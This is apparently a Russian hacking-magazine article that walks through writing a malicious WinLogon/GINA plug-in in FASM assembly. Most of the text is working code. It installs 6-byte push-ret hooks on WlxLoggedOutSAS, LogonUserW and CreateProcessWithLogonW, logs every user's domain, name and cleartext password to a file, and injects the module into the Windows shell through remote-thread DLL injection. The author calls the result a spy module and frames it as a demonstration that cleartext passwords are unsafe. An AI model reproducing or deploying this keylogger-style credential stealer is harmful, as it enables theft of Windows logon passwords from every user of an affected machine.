GINA – подключаемый модуль для WinLogon, который может быть заменен третьими лицами с целью повышения функциональности авторизации в системах Windows. Заменяя этот модуль, можно изменить механизм аутентификации пользователей, например, для использования смарт-карт или биометрии. Стандартный модуль GINA представлен в Windows динамической библиотекой MSGINA.DLL. Ее вскрытием мы сегодня и займемся.
Модуль msgina.dll экспортирует целый ряд функций, используемых для авторизации. Нет смысла перечислять их все, в нашем случае нас интересует только одна: WlxLoggedOutSAS. После получения события SAS (secure attention sequence – по умолчанию комбинация клавиш Ctrl + Alt + Delete) WinLogon вызывает эту функцию в нескольких случаях: когда пользователь не авторизирован, когда пользователь авторизировался, когда пользователь завершил работу системы, когда пользователь заблокировал систему и т.д. О том, в каком случае была вызвана функция WlxLoggedOutSAS, можно судить по возвращенному результату. Нас интересует событие авторизации пользователя и в таком случае функция возвратит результат WLX_SAS_ACTION_LOGON, равный единице. Имя пользователя, пароль и домен, на который происходит авторизация, передаются в функцию через структуру _WLX_MPR_NOTIFY_INFO в качестве параметра. Ниже приведено описание данной структуры:
typedef struct _WLX_MPR_NOTIFY_INFO {
PWSTR pszUserName;
PWSTR pszDomain;
PWSTR pszPassword;
PWSTR pszOldPassword;
} WLX_MPR_NOTIFY_INFO, *PWLX_MPR_NOTIFY_INFO;
Решающим фактом здесь является то, что все данные пользователя находятся в полях в открытом виде. Естественно, нас интересуют только первые три поля. Последнее содержит пароль пользователя, который только что был изменен, новый пароль содержится в поле pszPassword. Следовательно, для того, чтобы получить имя и пароль пользователя, нам нужно перехватить функцию WlxLoggedOutSAS и добраться до полей структуры _WLX_MPR_NOTIFY_INFO.
Ниже приведен прототип WlxLoggedOutSAS:
int WlxLoggedOutSAS (
PVOID pWlxContext,
DWORD dwSasType,
PLUID pAuthenticationId,
PSID pLogonSid,
PDWORD pdwOptions,
PHANDLE phToken,
PWLX_MPR_NOTIFY_INFO pNprNotifyInfo,
PVOID* pProfile
);
Не стоит забывать о такой функции Windows, как запуск приложения от имени другого пользователя. Чтобы было «по - гуще», стоит перехватывать и это событие.
Существуют три функции, позволяющие запустить процесс от имени другого пользователя:
CreateProcessAsUser, LogonUser, CreateProcessWithLogon. Две первые используются в связке и данные пользователя передаются только в параметрах LogonUser.
CreateProcessWithLogon же самодостаточна. Ниже приведены прототипы необходимых нам функций:
BOOL LogonUserW (
LPWSTR lpszUsername,
LPWSTR lpszDomain,
LPWSTR lpszPassword,
DWORD dwLogonType,
DWORD dwLogonProvider,
PHANDLE phToken
);
BOOL CreateProcessWithLogonW(
LPCWSTR lpUsername,
LPCWSTR lpDomain,
LPCWSTR lpPassword,
DWORD dwLogonFlags,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInfo
);
То, что мы сделаем, это реализуем свой подключаемый модуль для WinLogon, который будет перехватывать вышеуказанные функции и записывать данные пользователя в файл. Для этого мы будем использовать сплайсинг с 6 байтовым трамлином (inline PushRet). Родителем процессов, запущенных от имени другого пользователя, является один из общих процессов – хозяев для сервисов Win32 (SVCHOST.EXE), но сам запуск инициируется оболочкой, поэтому мы будем делать инъекцию нашего модуля в оболочку при наступлении события PostShell в WinLogon.
Далее приведена реализация вышеуказанного модуля на ассемблере (синтаксис FASM)
;++++++++++++++++++++++++++++ КОДЕС ++++++++++++++++++++++++++++
entry $ ; точка входа нашего модуля
push ebp
mov ebp, esp
pushad
cmp dword [ebp + 0Ch], 01h ; сверяем причину вызова модуля с DLL_PROCESS_ATTACH
jnz .detach
push 00h
call [DisableThreadLibraryCalls] ; отключаем вызов главной функции нашего модуля при создании или завершении в процессе потоков
push cnst_msgina
call [GetModuleHandle] ; получаем адрес модуля msgina.dll
test eax, eax
jz @f
push cnst_WlxLoggedOutSAS
push eax
call [GetProcAddress] ; получаем адрес функции WlxLoggedOutSAS
mov [addr_WlxLoggedOutSAS], eax
push addr_oldWlxLoggedOutSAS
push [addr_WlxLoggedOutSAS]
push intrcpt_WlxLoggedOutSAS
call intrcpt_Set ; устанавливаем трамплин
@@:
push cnst_advapi32
call [GetModuleHandle] ; получаем адрес модуля advapi32.dll
test eax, eax
jz @f
mov esi, eax
push cnst_CreateProcessWithLogon
push esi
call [GetProcAddress] ; получаем адрес функции CreateProcessWithLogonW
mov [addr_CreateProcessWithLogon], eax
push addr_oldCreateProcessWithLogon
push [addr_CreateProcessWithLogon]
push intrcpt_CreateProcessWithLogonW
call intrcpt_Set ; -||-
push cnst_LogonUser
push esi
call [GetProcAddress] ; получаем адрес функции LogonUserW
mov [addr_LogonUser], eax
push addr_oldLogonUser
push [addr_LogonUser]
push intrcpt_LogonUserW
call intrcpt_Set ; -||-
@@:
popad
leave
ret
.detach:
cmp dword [ebp + 0Ch], 00h ; сверяем причину вызова модуля с DLL_PROCESS_DETACH
jnz @b
push addr_oldCreateProcessWithLogon
push [addr_CreateProcessWithLogon]
call intrcpt_Restore ; снимаем трамплин
push addr_oldLogonUser
push [addr_LogonUser]
call intrcpt_Restore ; -||-
push addr_oldWlxLoggedOutSAS
push [addr_WlxLoggedOutSAS]
call intrcpt_Restore ; -||-
jmp @b
proc intrcpt_Set dwHandler, dwProcAddr, dwOldProcAddr ; функция, устанавливающая трамплин
sub esp, 0Ch ; выделяем память для трамплина в стеке
push esi
lea eax, [ebp - 0Ch]
mov byte [eax], 68h ; инструкция push
mov esi, [dwHandler]
mov dword [eax + 01h], esi ; адрес обработчика
mov byte [eax + 05h], 0C3h ; инструкция ret
mov esi, -1 ; равносильно GetCurrentProcess
push 00h
push 06h
push [dwOldProcAddr]
push [dwProcAddr]
push esi
call [ReadProcessMemory] ; сохраняем первые 6 байт функции
lea eax, [ebp - 0Ch]
push 00h
push 06h
push eax
push [dwProcAddr]
push esi
call [WriteProcessMemory] ; записываем трамплин
pop esi
ret
endp
proc intrcpt_Restore dwProcAddr, dwOldProcAddr ; функция снятия трамплина
mov eax, [dwProcAddr]
test eax, eax
jz @f
mov eax, -1
push 00h
push 06h
push [dwOldProcAddr]
push [dwProcAddr]
push eax
call [WriteProcessMemory] ; записываем сохраненные 6 байт функции на место трамплина
@@:
ret
endp
proc intrcpt_WlxLoggedOutSAS pWlxContext, dwSasType, pAuthenticationId, pLogonSid, pdwOptions, phToken, pMprNotifyInfo, pProfile ; обработчик WlxLoggedOutSAS
push addr_oldWlxLoggedOutSAS
push [addr_WlxLoggedOutSAS]
call intrcpt_Restore ; снимаем трамплин
push [pProfile]
push [pMprNotifyInfo]
push [phToken]
push [pdwOptions]
push [pLogonSid]
push [pAuthenticationId]
push [dwSasType]
push [pWlxContext]
call [addr_WlxLoggedOutSAS] ; вызываем настоящую функцию
cmp eax, 01h ; если результат работы функции равен WLX_SAS_ACTION_LOGON
jnz @f
mov eax, [pMprNotifyInfo]
push dword [eax + 08h]
push dword [eax]
push dword [eax + 04h]
push cnst_log
call WriteLogRecord ; записываем некоторые поля функции в файл
@@:
push addr_oldWlxLoggedOutSAS
push [addr_WlxLoggedOutSAS]
push intrcpt_WlxLoggedOutSAS
call intrcpt_Set ; восстанавливаем трамплин
ret
endp
proc intrcpt_LogonUserW lpszUsername, lpszDomain, lpszPassword, dwLogonType, dwLogonProvider, phToken ; обработчик LogonUserW
push [lpszPassword]
push [lpszUsername]
push [lpszDomain]
push cnst_log
call WriteLogRecord ; записываем параметры функции, содержащие информацию пользователя в файл
push addr_oldLogonUser
push [addr_LogonUser]
call intrcpt_Restore
push [phToken]
push [dwLogonProvider]
push [dwLogonType]
push [lpszPassword]
push [lpszDomain]
push [lpszUsername]
call [addr_LogonUser]
push addr_oldLogonUser
push [addr_LogonUser]
push intrcpt_LogonUserW
call intrcpt_Set
ret
endp
proc intrcpt_CreateProcessWithLogonW lpUsername, lpDomain, lpPassword, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInfo ; обработчик CreateProcessWithLogonW
push [lpPassword]
push [lpUsername]
push [lpDomain]
push cnst_log
call WriteLogRecord
push addr_oldCreateProcessWithLogon
push [addr_CreateProcessWithLogon]
call intrcpt_Restore
push [lpProcessInfo]
push [lpStartupInfo]
push [lpCurrentDirectory]
push [lpEnvironment]
push [dwCreationFlags]
push [lpCommandLine]
push [lpApplicationName]
push [dwLogonFlags]
push [lpPassword]
push [lpDomain]
push [lpUsername]
call [addr_CreateProcessWithLogon]
push addr_oldCreateProcessWithLogon
push [addr_CreateProcessWithLogon]
push intrcpt_CreateProcessWithLogonW
call intrcpt_Set
ret
endp
proc Inject dwProcessId ; инъекция модуля в процесс
push esi
push edi
push [dwProcessId]
push 00h
push PROCESS_ALL_ACCESS
call [OpenProcess] ; открываем процесс для записи
test eax, eax
jz @f
mov esi, eax
push PAGE_READWRITE
push MEM_COMMIT + MEM_RESERVE
push 10h
push 00h
push esi
call [VirtualAllocEx] ; выделяем память в удаленном процессе для имени нашего модуля
test eax, eax
jz @f
mov edi, eax
push 00h
push cnst_selflen
push cnst_self
push edi
push esi
call [WriteProcessMemory] ; записываем в выделенную память имя нашего модуля
test eax, eax
jz @f
xor eax, eax
push eax
push eax
push edi
push [LoadLibrary]
push eax
push eax
push esi
call [CreateRemoteThread] ; создаем удаленный поток, загружая наш модуль с помощью LoadLibrary
push esi
call [CloseHandle]
@@:
pop edi
pop esi
ret
endp
proc InjectShell ; инъекция нашего модуля в оболочку
push ebp
mov ebp, esp
sub esp, 13Ch ; выделяем память для структуры PROCESSENTRY32 в стеке
push esi
push 0FFFh
call [Sleep] ; нельзя создать удаленный поток в не загрузившемся до конца процессе
mov dword [ebp - 13Ch], 128h
push 00h
push 02h
call [CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 13Ch]
push eax
push esi
call [Process32First] ; начинаем поиск процесса
@@:
lea eax, [ebp - 13Ch]
push eax
push esi
call [Process32Next] ;продолжаем поиск процесса до произведения инъекции
test eax, eax
jz @f
lea eax, [ebp - 118h]
push cnst_shell
push eax
call [lstrcmpi] ; сравниваем поле szExeFile с именем процесса оболочки
test eax, eax
jnz @b
push dword [ebp - 134h] ; получаем идентификатор процесса из поля th32ProcessID
call Inject ; производим инъекцию
jmp @b
@@:
pop esi
leave
ret
endp
proc WinlogonStartupEvent ; обработчики событий WinLogon
ret
endp
proc WinlogonPostShellEvent
xor eax, eax
push hndl_inject
push eax
push eax
push InjectShell
push eax
push eax
call [CreateThread] ; создаем поток, ожидающий догрузки оболочки и производящий в нее инъекцию
ret
endp
;++++++++++++++++++++++++++++ ENDКОДЕС ++++++++++++++++++++++++++++
Полный исходный код модуля вы найдете в приложении к статье.
Эпилог:
В результате мы получили шпионский модуль размером всего 3 кб, позволяющий записать в файл домен\имя\пароль всех пользователей, авторизирующихся в системе. Для боевого применения он никак не подходит по той причине, что для его установки требуются права администратора. Но таким образом мы еще раз доказали, что хранить пароли в открытом виде не есть good. Слабенький конец (=
(C) takeZ
|